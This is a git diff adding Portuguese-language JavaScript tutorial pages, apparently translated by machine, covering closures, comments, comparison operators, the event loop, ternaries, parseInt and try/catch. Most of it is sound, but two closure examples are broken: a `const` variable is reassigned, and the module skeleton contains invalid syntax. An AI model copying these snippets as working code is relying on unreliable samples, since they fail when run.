+ remember2(); // This now executes the function 'inside' which console.logs(rememberedVar) => 9 
+```
+
+Os fechamentos são úteis porque permitem que você 'lembre' de dados e, em seguida, permite operar esses dados por meio de funções retornadas. Isso permite que o javascript emule métodos privados encontrados em outras linguagens de programação. Métodos privados são úteis para restringir o acesso ao código, bem como gerenciar seu namespace global.
+
+### Variáveis ​​e métodos privados
+
+Fechamentos também podem ser usados ​​para encapsular dados / métodos privados. Dê uma olhada neste exemplo:
+
+```javascript
+const bankAccount = (initialBalance) => { 
+  const balance = initialBalance; 
+ 
+  return { 
+    getBalance: function() { 
+      return balance; 
+    }, 
+    deposit: function(amount) { 
+      balance += amount; 
+      return balance; 
+    }, 
+  }; 
+ }; 
+ 
+ const account = bankAccount(100); 
+ 
+ account.getBalance(); // 100 
+ account.deposit(10); // 110 
+```
+
+Neste exemplo, não poderemos acessar o `balance` de qualquer lugar fora da função `bankAccount` , o que significa que acabamos de criar uma variável privada. Onde está o fechamento? Bem, pense no que `bankAccount()` está retornando. Ele realmente retorna um objeto com um monte de funções dentro dele, e ainda quando chamamos `account.getBalance()` , a função é capaz de "lembrar" sua referência inicial ao `balance` . Esse é o poder do fechamento, em que uma função "lembra" seu escopo léxico (escopo de tempo de compilação), mesmo quando a função é executada fora desse escopo léxico.
+
+**Emulando variáveis ​​com escopo de bloco.**
+
+Javascript não tinha um conceito de variáveis ​​com escopo de bloco. Isso significa que, ao definir uma variável dentro de um forloop, por exemplo, essa variável também é visível de fora do forloop. Então, como os fechamentos podem nos ajudar a resolver esse problema? Vamos dar uma olhada.
+
+```javascript
+    var funcs = []; 
+ 
+    for(var i = 0; i < 3; i++){ 
+        funcs[i] = function(){ 
+            console.log('My value is ' + i);  //creating three different functions with different param values. 
+        } 
+    } 
+ 
+    for(var j = 0; j < 3; j++){ 
+        funcs[j]();             // My value is 3 
+                                // My value is 3 
+                                // My value is 3 
+    } 
+```
+
+Como a variável i não tem escopo de bloco, seu valor dentro de todas as três funções foi atualizado com o contador de loops e criou valores maliciosos. O encerramento pode nos ajudar a resolver esse problema criando um instantâneo do ambiente em que a função estava quando foi criada, preservando seu estado.
+
+```javascript
+    var funcs = []; 
+ 
+    var createFunction = function(val){ 
+        return function() {console.log("My value: " + val);}; 
+    } 
+ 
+    for (var i = 0; i < 3; i++) { 
+        funcs[i] = createFunction(i); 
+    } 
+    for (var j = 0; j < 3; j++) { 
+        funcs[j]();                 // My value is 0 
+                                    // My value is 1 
+                                    // My value is 2 
+    } 
+```
+
+As últimas versões do javascript es6 + tem uma nova palavra-chave chamada let que pode ser usada para dar à variável um blockcope. Há também muitas funções (forEach) e bibliotecas inteiras (lodash.js) dedicadas a resolver problemas como os explicados acima. Eles certamente podem aumentar sua produtividade, no entanto, é extremamente importante ter conhecimento de todos esses problemas ao tentar criar algo grande.
+
+Os fechamentos têm muitos aplicativos especiais que são úteis ao criar grandes programas de javascript.
+
+1.  Emulando Variáveis ​​Privadas ou Encapsulamento
+2.  Fazendo chamadas laterais do servidor assíncrono
+3.  Criando uma variável com escopo de bloco.
+
+**Emulando variáveis ​​privadas.**
+
+Ao contrário de muitas outras linguagens, o Javascript não possui um mecanismo que permita criar variáveis ​​de instância encapsuladas dentro de um objeto. Ter variáveis ​​de instância públicas pode causar muitos problemas ao criar programas de médio a grande porte. No entanto, com encerramentos, esse problema pode ser atenuado.
+
+Assim como no exemplo anterior, você pode criar funções que retornam literais de objeto com métodos que têm acesso às variáveis ​​locais do objeto sem expô-las. Assim, tornando-os efetivamente privados.
+
+Os fechamentos também podem ajudá-lo a gerenciar seu namespace global para evitar colisões com dados compartilhados globalmente. Geralmente, todas as variáveis ​​globais são compartilhadas entre todos os scripts em seu projeto, o que definitivamente lhe dará muitos problemas ao criar programas de médio a grande porte. É por isso que os autores de bibliotecas e módulos usam closures para ocultar os métodos e dados de um módulo inteiro. Isso é chamado de padrão de módulo, ele usa uma expressão de função imediatamente invocada que exporta apenas certas funcionalidades para o mundo externo, reduzindo significativamente a quantidade de referências globais.
+
+Aqui está uma pequena amostra de um esqueleto de módulo.
+
+```javascript
+var myModule = (function() = { 
+    let privateVariable = 'I am a private variable'; 
+ 
+    let method1 = function(){ console.log('I am method 1'); }; 
+    let method2 = function(){ console.log('I am method 2, ', privateVariable); }; 
+ 
+    return { 
+        method1: method1, 
+        method2: method2 
+    } 
+ }()); 
+ 
+ myModule.method1(); // I am method 1 
+ myModule.method2(); // I am method 2, I am a private variable 
+```
+
+Closures são úteis para capturar novas instâncias de variáveis ​​privadas contidas no ambiente 'lembrado', e essas variáveis ​​só podem ser acessadas através da função ou métodos retornados.
+
+### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Closures)  
+[Fechamentos de Javascript](https://medium.freecodecamp.org/lets-learn-javascript-closures-66feb44f6a44)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/code-blocks/index.md b/client/src/guide/portuguese/javascript/code-blocks/index.md
new file mode 100644
index 0000000000..a73127135d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/code-blocks/index.md
@@ -0,0 +1,35 @@
+---
+title: Code Block
+localeTitle: Bloco de código
+---
+## Introdução
+
+Na programação de computadores, um **bloco de** **bloco** ou código é uma seção de código que é agrupados. Blocos consistem em uma ou mais declarações e declarações. Uma linguagem de programação que permite a criação de blocos, incluindo blocos aninhados dentro de outros blocos, é chamada de linguagem de programação estruturada em blocos. JavaScript é uma dessas linguagens de programação.
+
+Uma instrução de **bloco** em JavaScript é usada para agrupar zero ou mais instruções. O bloco é delimitado por um par de chaves.
+```
+{ 
+  statement_1; 
+  statement_2; 
+  ... 
+  statement_n; 
+ } 
+```
+
+[Ligação MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/block)
+
+## Exemplos
+
+A instrução **block** é comumente usada com instruções de fluxo de controle (por exemplo, `if...else` , `for` , `while` ) e funções.
+```
+while (x < 10) { 
+  x++; 
+ } 
+ 
+ function addnums(num1, num2) { 
+  var sum = 0; 
+  sum = num1 + num2; 
+  return sum; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/code-linting-in-javascript/index.md b/client/src/guide/portuguese/javascript/code-linting-in-javascript/index.md
new file mode 100644
index 0000000000..99dc38f01c
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/code-linting-in-javascript/index.md
@@ -0,0 +1,25 @@
+---
+title: Code Linting
+localeTitle: Code Linting
+---
+Linting é o processo de executar um programa que analisa seu código para erros programáticos e estilísticos. Uma ferramenta de lintagem, ou um linter, marca ou sinaliza qualquer erro potencial no seu código, como erros de sintaxe ou nomes de variáveis ​​escritos incorretamente. Isso pode economizar tempo e ajudar você a escrever um código melhor.
+
+Os linters podem ser instalados usando o `npm` ou outro gerenciador de pacotes. Linters podem ser usados ​​a partir da linha de comando, passando arquivos. Linters também estão disponíveis como plugins para ferramentas e, às vezes, são diretamente integrados aos editores.
+
+Aqui estão alguns linters de Javascript populares:
+
+[JSLint](http://www.javascriptlint.com/online_lint.php)
+
+[JSHint](http://jshint.com)
+
+[JSCS](http://jscs.info)
+
+[ESLint](http://eslint.org)
+
+#### Linters para editores:
+
+*   Código Visual: Para instalar a extensão eslint, abra a paleta de comandos (View -> Command Palette .. ou cmd + shift + p) e execute o comando: ext instalar eslint
+
+#### Ferramentas e Plugins
+
+[Mais bonito](https://prettier.io)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/comments/index.md b/client/src/guide/portuguese/javascript/comments/index.md
new file mode 100644
index 0000000000..51891d79e4
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/comments/index.md
@@ -0,0 +1,87 @@
+---
+title: Comments
+localeTitle: Comentários
+---
+## Comentários
+
+Os programadores usam comentários para adicionar dicas, anotações, sugestões ou avisos ao seu código-fonte; eles não têm efeito na saída real do código. Os comentários podem ser muito úteis para explicar a intenção do que seu código está ou deveria estar fazendo.
+
+É sempre uma boa prática começar comentando com mais frequência do que não, já que isso pode ajudar aqueles que lêem seu código a entender exatamente o que seu código pretende fazer.
+
+JavaScript tem duas maneiras de atribuir comentários em seu código.
+
+A primeira maneira é o `//` comentário; todo o texto seguindo `//` na mesma linha em um comentário. Por exemplo:
+
+```javascript
+function hello() { 
+  // This is a one line JavaScript comment 
+  console.log("Hello world!"); 
+ } 
+ hello(); 
+```
+
+A segunda maneira é o `/* */` comment, que pode ser usado para comentários de linha única e multilinha. Por exemplo:
+
+```javascript
+function hello() { 
+  /* This is a one line JavaScript comment */ 
+  console.log("Hello world!"); 
+ } 
+ hello(); 
+```
+
+```javascript
+function hello() { 
+  /* This comment spans multiple lines. Notice 
+     that we don't need to end the comment until we're done. */ 
+  console.log("Hello world!"); 
+ } 
+ hello(); 
+```
+
+Você também pode impedir a execução de código Javascript apenas commeting as linhas de código como este:
+
+```javascript
+function hello() { 
+  /*console.log("Hello world!");*/ 
+ } 
+ hello(); 
+```
+
+#### Mais Informações:
+
+[Como escrever comentários em JavaScript](https://www.digitalocean.com/community/tutorials/how-to-write-comments-in-javascript)
+
+### Muitos IDEs vêm com um atalho de teclado para comentar linhas.
+
+1.  Realce o texto a ser comentado
+2.  Mac: Comando push (tecla Apple) e "/"
+3.  Windows: controle de envio e "/"
+4.  Você também pode descomentar o código, executando as mesmas etapas
+
+Um atalho para comentar uma seção de javascript em muitos editores de código é destacar as linhas de código que você deseja comentar, então pressione `Cmd/Ctrl + /` .
+
+Os comentários também são muito úteis para o teste de código, pois você pode impedir que uma determinada linha de código / bloco seja executada.
+
+```javascript
+function hello() { 
+  // The statement below is not going to get executed 
+  // console.log('hi') 
+  } 
+ hello(); 
+```
+
+```
+function hello() { 
+  // The statements below are not going to get executed 
+  /* 
+  console.log('hi'); 
+  console.log('code-test'); 
+  */ 
+ } 
+ hello(); 
+```
+
+#### Mais Informações:
+
+*   [Como escrever comentários em JavaScript](https://www.digitalocean.com/community/tutorials/how-to-write-comments-in-javascript)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/comparison-operators/index.md b/client/src/guide/portuguese/javascript/comparison-operators/index.md
new file mode 100644
index 0000000000..92944e50b5
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/comparison-operators/index.md
@@ -0,0 +1,195 @@
+---
+title: Comparison Operators
+localeTitle: Operadores de Comparação
+---
+O JavaScript possui comparações de **conversão** **estrita** e de **tipo** .
+
+*   Uma comparação estrita (por exemplo, ===) só é verdadeira se os operandos forem do mesmo tipo.
+    
+*   A comparação abstrata mais usada (por exemplo, ==) converte os operandos para o mesmo tipo antes de fazer a comparação.
+    
+*   Para comparações abstratas relacionais (por exemplo, <=), os operandos são primeiro convertidos em primitivos, depois para o mesmo tipo, antes da comparação.
+    
+*   As cadeias de caracteres são comparadas com base na ordem lexicográfica padrão, usando valores Unicode.
+    
+
+## Recursos de comparações:
+
+*   Duas strings são estritamente iguais quando possuem a mesma sequência de caracteres, o mesmo comprimento e os mesmos caracteres nas posições correspondentes.
+    
+*   Dois números são estritamente iguais quando são numericamente iguais (possuem o mesmo valor numérico). NaN não é igual a nada, incluindo NaN. Zeros positivos e negativos são iguais entre si.
+    
+*   Dois operandos booleanos são estritamente iguais se ambos forem verdadeiros ou se ambos forem falsos.
+    
+*   Dois objetos distintos nunca são iguais para comparações estritas ou abstratas.
+    
+*   Uma expressão comparando Objetos só é verdadeira se os operandos fizerem referência ao mesmo Objeto.
+    
+*   Tipos nulos e indefinidos são estritamente iguais a si mesmos e abstratamente iguais entre si.
+    
+
+## Operadores de igualdade
+
+### Igualdade (==)
+
+O operador de igualdade converte os operandos, se eles **não** forem **do mesmo tipo** , e aplicará uma comparação estrita. Se **ambos os operandos são objetos** , então o JavaScript compara referências internas que são iguais quando operandos se referem ao mesmo objeto na memória.
+
+#### Sintaxe
+```
+ x == y 
+```
+
+#### Exemplos
+```
+ 1   ==  1        // true 
+ "1"  ==  1        // true 
+ 1   == '1'       // true 
+ 0   == false     // true 
+ 0   == null      // false 
+ 
+   0   == undefined   // false 
+ null  == undefined   // true 
+```
+
+### Desigualdade (! =)
+
+O operador de desigualdade retorna verdadeiro se os operandos não forem iguais. Se os dois operandos **não** forem **do mesmo tipo** , o JavaScript tentará converter os operandos em um tipo apropriado para a comparação. Se os **dois operandos são objetos** , o JavaScript compara referências internas que não são iguais quando operandos se referem a objetos diferentes na memória.
+
+#### Sintaxe
+```
+x != y 
+```
+
+#### Exemplos
+```
+1 !=   2     // true 
+ 1 !=  "1"    // false 
+ 1 !=  '1'    // false 
+ 1 !=  true   // false 
+ 0 !=  false  // false 
+```
+
+### Identidade / igualdade estrita (===)
+
+O operador de identidade retorna true se os operandos forem estritamente iguais **sem conversão de tipo** .
+
+#### Sintaxe
+```
+x === y 
+```
+
+#### Exemplos
+```
+3 === 3   // true 
+ 3 === '3' // false 
+```
+
+### Não identidade / desigualdade estrita (! ==)
+
+O operador não identificador retorna true se os operandos **não forem iguais e / ou não do mesmo tipo** .
+
+#### Sintaxe
+```
+x !== y 
+```
+
+#### Exemplos
+```
+3 !== '3' // true 
+ 4 !== 3   // true 
+```
+
+## Operadores relacionais
+
+### Maior que o operador (>)
+
+O operador maior que retorna true se o operando esquerdo for maior que o operando direito.
+
+#### Sintaxe
+```
+x > y 
+```
+
+#### Exemplos
+```
+4 > 3 // true 
+```
+
+### Operador maior que ou igual (> =)
+
+O operador maior que ou igual retorna verdadeiro se o operando esquerdo for maior ou igual ao operando direito.
+
+#### Sintaxe
+```
+x >= y 
+```
+
+#### Exemplos
+```
+4 >= 3 // true 
+ 3 >= 3 // true 
+```
+
+### Menos que o operador (<)
+
+O operador menor que retorna true se o operando esquerdo for menor que o operando direito.
+
+#### Sintaxe
+```
+x < y 
+```
+
+#### Exemplos
+```
+3 < 4 // true 
+```
+
+### Operador menor que ou igual (<=)
+
+O operador menor que ou igual retorna verdadeiro se o operando esquerdo for menor ou igual ao operando direito.
+
+#### Sintaxe
+```
+x <= y 
+```
+
+#### Exemplos
+```
+3 <= 4 // true 
+```
+
+_Você pode encontrar mais informações no [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators) ._
+
+## Comparando null e undefined
+
+Quando comparamos nulo e indefinido, vemos um comportamento diferente. Vamos verificar diferentes cenários através de exemplos
+
+#### Exemplo - verificação de igualdade estrita (===)
+
+console.log (null === indefinido); // O / P - falso
+
+Otuput é falso e isso é correto porque sabemos que "nulo" e "indefinido" são tipos diferentes.
+
+#### Exemplo - verificação de igualdade não estrita (==)
+
+console.log (null == indefinido); // O / P: - true
+
+Como? Isso ocorre porque existe uma regra especial para "null" e "undefined". Devido a que eles são iguais em caso de verificação não estrita (==), mas não são iguais a qualquer outro valor.
+
+Se usarmos operadores de comparação como <,>, <=,> = etc., "nulo" e "indefinido" serão convertidos em números e, nesses casos, "nulo" se tornará 0 e "indefinido" será NaN. Vamos verificar alguns desses exemplos.
+
+#### Exemplo - comparar nulo com 0 (zero)
+
+console.log (nulo> 0); // O / P - falso console.log (null> = 0); // O / P - true console.log (null == 0); // O / P - falso
+
+Estranho? De acordo com a primeira instrução, nulo não é maior que 0 e da segunda instrução nulo é maior ou igual a 0. Então, se pensarmos matematicamente e compararmos ambas as declarações, chegaremos ao resultado que nulo é igual a 0. Mas , conforme a terceira afirmação não é verdadeira. Por quê?
+
+A razão é "comparação" e "verificação de igualdade" ambos funcionam de maneira diferente. Em comparação, "null / undefined" é primeiro convertido em number, portanto, nos dois primeiros casos, "null" se torna 0 e, portanto, case1) (null> 0) -> false e case2) (null> = 0) -> true. Mas, na verificação de igualdade (==), "null / undefined" funciona sem qualquer conversão e como explicado acima (regra especial), na verificação de igualdade "null / undefined" são apenas iguais entre si e não são iguais a qualquer outra coisa. Daí (null == 0) -> falso.
+
+#### Exemplo - comparar indefinido com 0 (zero)
+
+console.log (indefinido> 0); // O / P - falso console.log (indefinido> = 0); // O / P - falso console.log (indefinido == 0); // O / P - falso
+
+Aqui, testamos os mesmos casos que fizemos para null, mas novamente o resultado é diferente. Por quê?
+
+As razões são as seguintes. Nos dois primeiros casos, estamos comparando undefined com 0 e como mencionado acima na comparação undefined é convertido para NaN. NaN é um valor especial que sempre retorna falso quando comparado com qualquer número e é por isso que temos resultados falsos nos dois primeiros casos. Para a terceira instrução, a razão é a mesma mencionada para "null". Na verificação de igualdade, "null / undefined" são apenas iguais entre si e não iguais a qualquer outra coisa. Daí (indefinido == 0) -> falso.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/concurrency-model-and-event-loop/index.md b/client/src/guide/portuguese/javascript/concurrency-model-and-event-loop/index.md
new file mode 100644
index 0000000000..11174382ec
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/concurrency-model-and-event-loop/index.md
@@ -0,0 +1,66 @@
+---
+title: Concurrency Model and Event Loop
+localeTitle: Modelo de Concorrência e Loop de Eventos
+---
+## Modelo de Concorrência e Loop de Eventos
+
+O tempo de execução do Javascript é de encadeamento único, o que significa que ele pode executar uma parte do código por vez. Para entender o modelo de simultaneidade e o loop de eventos em Javascript, primeiro precisamos contornar alguns termos comuns associados a ele. Primeiro vamos aprender o que é uma pilha de chamadas.
+
+Uma pilha de chamadas é uma estrutura de dados simples que registra onde no código estamos atualmente. Então, se entrarmos em uma função que é uma chamada de função, ela é enviada para a pilha de chamadas e, quando retornamos de uma função, ela é removida da pilha.
+
+Vamos dar um exemplo de código para entender a pilha de chamadas
+
+```javascript
+function multiply(x,y) { 
+   return x * y; 
+ } 
+ 
+ function squared(n) { 
+     return multiply(n,n) 
+  } 
+ 
+ function printSquare(n) { 
+   return squared(n) 
+ } 
+ 
+ let numberSquared = printSquare(5); 
+ console.log(numberSquared); 
+```
+
+Primeiro, quando o código executa, o tempo de execução lerá cada uma das definições de função, mas quando chegar à linha onde a primeira função **printSquare (5)** é invocada, esta função será empurrada para a pilha de chamadas. Em seguida, essa função será executada e, antes de retornar, encontrará outra função **ao quadrado (n),** portanto suspenderá sua operação atual e pressionará essa função sobre a função existente. Ele executa a função neste caso a função squared e finalmente encontra outra função **multiplica (n, n),** portanto, ela suspende suas execuções atuais e envia essa função para a pilha de chamadas. multiplique executa e retorna com o valor multiplicado. Finalmente, a função quadrada retorna e é removida da pilha e o mesmo acontece com printSquare. O valor final do quadrado é alocado para a variável numberSquared. Encontramos novamente uma chamada de função, neste caso, é uma instrução console.log () para que o tempo de execução envie isso para a pilha que o executa imprimindo o número quadrado no console. Deve-se notar que a primeira função que é colocada na pilha antes de qualquer código ser executado é a função principal que no tempo de execução é denotada como uma 'função anônima'.
+
+Então, para resumir sempre que uma função é chamada, ela é colocada na pilha de chamadas onde é executada. Finalmente, quando a função é executada e está retornando implícita ou explicitamente, ela será removida da pilha. A pilha de chamadas apenas registra em que ponto no tempo a função estava sendo executada. Ele controla qual função está sendo executada no momento.
+
+Agora sabemos disso que o Javascript pode executar uma coisa de cada vez, mas esse não é o caso do Navegador. O Navegador tem seu próprio conjunto de APIs como setTimeout, XMLHttpRequests que não são especificadas no tempo de execução de Javascript. Na verdade, se você observar o código-fonte do V8, o popular runtime Javascript que dá suporte a navegadores como o Google Chrome, você não encontrará nenhuma definição para ele. É porque essas APIs especiais existem no ambiente do navegador, não dentro do ambiente javascript, e você pode dizer que essas APIs introduzem a simultaneidade na mistura. Vamos ver um diagrama para entender a imagem inteira.
+
+![Concorrência e Modelo de Loop de Eventos](https://i.imgur.com/rnQEY7o.png)
+
+Mais alguns termos são introduzidos
+
+**Heap** - É principalmente o lugar onde os objetos são alocados.
+
+**Fila de Callback** - É uma estrutura de dados que armazena todas as chamadas de retorno. Como é uma fila, os elementos são processados ​​com base no FIFO, que é First in First Out.
+
+**Evento Loop** - É aqui que todas essas coisas se juntam. O que o loop de eventos simplesmente faz é verificar as pilhas de chamadas e, se estiverem vazias, o que significa que não há funções na pilha. a fila de retorno de chamada e envia-a para a pilha de chamadas que eventualmente executa o retorno de chamada.
+
+Vamos entender isso com um exemplo de código
+
+```javascript
+console.log('hi'); 
+ 
+ setTimeout(function() { 
+     console.log('freecodeCamp') 
+ },5000); 
+ 
+ console.log('JS') 
+```
+
+Quando a primeira linha é executada, é um console.log () que é uma invocação de função, o que significa que essa função é colocada na pilha de chamadas onde é executada a impressão de 'hi' para o console e, finalmente, é retornada e retirada da pilha. Então, quando o tempo de execução vai para execuções setTimeout (), ele sabe que esta é uma API da web e, portanto, dá para o navegador para lidar com sua execução. O navegador inicia o cronômetro e, em seguida, o tempo de execução do JS coloca o setTimeout () fora da pilha. Ele encontra outra chamada de console.log () e, portanto, envia isso para a pilha de chamadas, a mensagem 'JS' é registrada no console e, finalmente, é retornada e, portanto, o último console.log () é retirado da pilha. Agora a pilha de chamadas está vazia. Enquanto isso, enquanto tudo isso estava acontecendo, o cronômetro termina quando 5 segundos se passaram e o navegador vai em frente e empurra a função de retorno de chamada para a fila de retorno de chamada. Em seguida, o loop de eventos verifica se a pilha de chamadas está livre ou não. Como é gratuito, ele pega a função callback e volta a colocá-la na pilha de chamadas, que executa o código dentro dela. Novamente dentro do código há uma invocação de console.log () para que essa função vá para o topo da pilha e execute o comando 'freecodecamp' no console e, finalmente, ele retorna, o que significa que ele é retirado da pilha e finalmente o retorno da pilha e estamos a fazer.
+
+Para visualizar isso melhor, experimente esta ferramenta por Phillip Roberts- [Loupe Event Loop Visualizer](http://latentflip.com/loupe/?code=!!!PGJ1dHRvbj5DbGljayBtZSE8L2J1dHRvbj4%3D)
+
+#### Mais Informações:
+
+[Philip Roberts: O que diabos é o evento loop de qualquer maneira? | JSConf EU 2014](https://www.youtube.com/watch?v=8aGhZQkoFbQ)
+
+[Modelo de concorrência e loop de eventos MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/EventLoop)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/conditional-ternary-operators/index.md b/client/src/guide/portuguese/javascript/conditional-ternary-operators/index.md
new file mode 100644
index 0000000000..ea9d803e1d
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/conditional-ternary-operators/index.md
@@ -0,0 +1,37 @@
+---
+title: Conditional Ternary Operators
+localeTitle: Operadores Ternários Condicionais
+---
+## Operadores Ternários Condicionais
+
+### Uso básico
+
+O operador ternário é uma maneira compacta de escrever um if-else dentro de uma expressão.
+
+```js
+const thing = (condition) ? <if true> : <if false>; 
+```
+
+Por exemplo
+
+```js
+const cappedInput = input > 50 ? 50 : input // this will cap the input at 50 
+```
+
+### Mais se
+
+Você também pode encadear operadores ternários, assim você terá um comportamento if-else if-else
+
+```js
+<first condition> ? <value if first true> 
+ : <second condition> ? <value if second is true> 
+ : <fallback value> 
+```
+
+> **Dica profissional** : Como você pode ver, você pode dividir o operador ternário em várias linhas Por exemplo
+```
+const wealth = housesOwned > 3 ? "rich" 
+             : housesOwned > 1 ? "nothing to complain" 
+             : "poor" 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/converting-strings-to-numbers/index.md b/client/src/guide/portuguese/javascript/converting-strings-to-numbers/index.md
new file mode 100644
index 0000000000..cadb45f9b6
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/converting-strings-to-numbers/index.md
@@ -0,0 +1,99 @@
+---
+title: Converting Strings to Numbers
+localeTitle: Convertendo Strings em Números
+---
+## Convertendo Strings em Números
+
+A função `parseInt()` analisa um argumento de string e retorna um inteiro da base especificada (a base em sistemas numéricos matemáticos).
+
+```js
+    parseInt(string, radix); 
+```
+
+### Parâmetros
+```
+string 
+```
+
+O valor a analisar. Se o argumento `string` não for uma string, ele será convertido em uma string (usando a operação abstrata `ToString` ). O espaço em branco inicial no argumento da cadeia é ignorado. radix Um inteiro entre 2 e 36 que representa a raiz (a base em sistemas numéricos matemáticos) da cadeia acima mencionada. Especifique `10` para o sistema de numeração decimal comumente usado por humanos. Sempre especifique esse parâmetro para eliminar a confusão do leitor e garantir um comportamento previsível. Diferentes implementações produzem resultados diferentes quando uma base não é especificada, geralmente padronizando o valor para 10. Valor de retorno Um número inteiro analisado a partir da string dada. Se o primeiro caractere não puder ser convertido em um número, `NaN` será retornado.
+
+### Descrição
+
+A função `parseInt` converte seu primeiro argumento em uma string, analisa e retorna um inteiro ou `NaN` . Se não for `NaN` , o valor retornado será o inteiro que é o primeiro argumento tomado como um número na base especificada (base). Por exemplo, uma raiz de 10 indica a conversão de um número decimal, 8 octal, 16 hexadecimal e assim por diante. Para radices acima de `10` , as letras do alfabeto indicam numerais maiores que 9. Por exemplo, para números hexadecimais (base 16), `A` a `F` é usado.
+
+Se `parseInt` encontrar um caractere que não seja um numeral na base especificada, ele o ignorará e todos os caracteres subsequentes e retornará o valor inteiro analisado até esse ponto. `parseInt` trunca números para valores inteiros. Espaços à esquerda e à esquerda são permitidos.
+
+Como alguns números incluem o caractere `e` em sua representação de string (por exemplo, `6.022e23` ), usar `parseInt` para truncar valores numéricos produzirá resultados inesperados quando usado em números muito grandes ou muito pequenos. `parseInt` não deve ser usado como um substituto para `Math.floor()` .
+
+Se radix é `undefined` ou 0 (ou ausente), o JavaScript assume o seguinte:
+
+*   Se a `string` entrada começar com "0x" ou "0X", o radical é 16 (hexadecimal) e o restante da cadeia é analisado.
+*   Se a `string` entrada começar com "0", a base é oito (octal) ou 10 (decimal). Exatamente qual radix é escolhido depende da implementação. O ECMAScript 5 especifica que 10 (decimal) é usado, mas nem todos os navegadores suportam isso ainda. Por esse motivo, sempre especifique um radical ao usar parseInt.
+*   Se a `string` entrada começar com qualquer outro valor, a raiz é 10 (decimal).
+*   Se o primeiro caractere não puder ser convertido em um número, parseInt retornará NaN.
+
+Para fins aritméticos, o valor NaN não é um número em nenhuma raiz. Você pode chamar a função isNaN para determinar se o resultado de parseInt é NaN. Se NaN é passado para operações aritméticas, os resultados da operação também serão NaN.
+
+Para converter o número em seu literal de string em uma determinada raiz, use intValue.toString (radix).
+
+### Exemplos
+
+Usando `parseInt` Todos os exemplos a seguir retornam `15` :
+
+```js
+    parseInt(' 0xF', 16); 
+    parseInt(' F', 16); 
+    parseInt('17', 8); 
+    parseInt(021, 8); 
+    parseInt('015', 10);   // parseInt(015, 10); will return 15 
+    parseInt(15.99, 10); 
+    parseInt('15,123', 10); 
+    parseInt('FXX123', 16); 
+    parseInt('1111', 2); 
+    parseInt('15 * 3', 10); 
+    parseInt('15e2', 10); 
+    parseInt('15px', 10); 
+    parseInt('12', 13); 
+```
+
+Todos os exemplos a seguir retornam `NaN` :
+
+```js
+    parseInt('Hello', 8); // Not a number at all 
+    parseInt('546', 2);   // Digits are not valid for binary representations 
+```
+
+Todos os exemplos a seguir retornam `-15` :
+
+```js
+    parseInt('-F', 16); 
+    parseInt('-0F', 16); 
+    parseInt('-0XF', 16); 
+    parseInt(-15.1, 10) 
+    parseInt(' -17', 8); 
+    parseInt(' -15', 10); 
+    parseInt('-1111', 2); 
+    parseInt('-15e1', 10); 
+    parseInt('-12', 13); 
+```
+
+Todos os exemplos a seguir retornam `4` :
+
+```js
+    parseInt(4.7, 10); 
+    parseInt(4.7 * 1e22, 10); // Very large number becomes 4 
+    parseInt(0.00000000000434, 10); // Very small number becomes 4 
+```
+
+O exemplo a seguir retorna `224` :
+
+```js
+    parseInt('0e0', 16); 
+```
+
+#### Mais Informações:
+
+[parseInt on MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators)
+
+*   [parseInt ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseInt) e [parseFloat ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseFloat) tentam converter a string em um número, se possível. Por exemplo, `var x = parseInt("100"); // x = 100`
+*   [Number ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/number) irá converter para um número pelo qual o valor pode ser representado. Isso inclui datas no número de milissegundos desde meia-noite de 1 de janeiro de 1970, UTC, valores booleanos para 1 ou 0 e valores que não podem ser convertidos em um número reconhecível se tornarão NaN. Isso significa não um número e também é tecnicamente um número!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/error-handling-and-try-catch-throw/index.md b/client/src/guide/portuguese/javascript/error-handling-and-try-catch-throw/index.md
new file mode 100644
index 0000000000..55d6b4b362
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/error-handling-and-try-catch-throw/index.md
@@ -0,0 +1,156 @@
+---
+title: Error Handling and Try Catch Throw
+localeTitle: Tratamento de erros e tentativa de arremesso
+---
+## Tratamento de erros e tentativa de arremesso
+
+A instrução `try...catch..finally` marca um bloco de instruções para tentar e especifica uma resposta, caso uma exceção seja lançada. A instrução `try` contém uma ou mais instruções e pelo menos uma cláusula `catch` ou uma cláusula `finally` , ou ambas.
+
+#### `try...catch` :
+
+```javascript
+try { 
+   throw new Error('my error'); 
+ } 
+ catch (e) { 
+  console.error(e.message); 
+ } 
+ 
+ // Output: 
+ // my error 
+```
+
+#### `try...finally` :
+
+```javascript
+try { 
+   throw new Error('my error'); 
+ } 
+ finally { 
+  console.error('finally'); 
+ } 
+ 
+ // Output: 
+ // finally 
+```
+
+_Nota:_ quando você não `catch` o erro, na verdade ele não é 'travado', mesmo que o bloco `finally` seja executado. Isso significa que o erro continuará no bloco `try` superior (ou bloco principal).
+
+#### `try...catch...finally` :
+
+```javascript
+try { 
+   throw new Error('my error'); 
+ } 
+ catch (e) { 
+  console.error(e.message); 
+ } 
+ finally { 
+  console.error('finally'); 
+ } 
+ 
+ // Output: 
+ // my error 
+ // finally 
+```
+
+Uso típico:
+
+```javascript
+try { 
+   openFile(file); 
+   readFile(file) 
+ } 
+ catch (e) { 
+  console.error(e.message); 
+ } 
+ finally { 
+  closeFile(file); 
+ } 
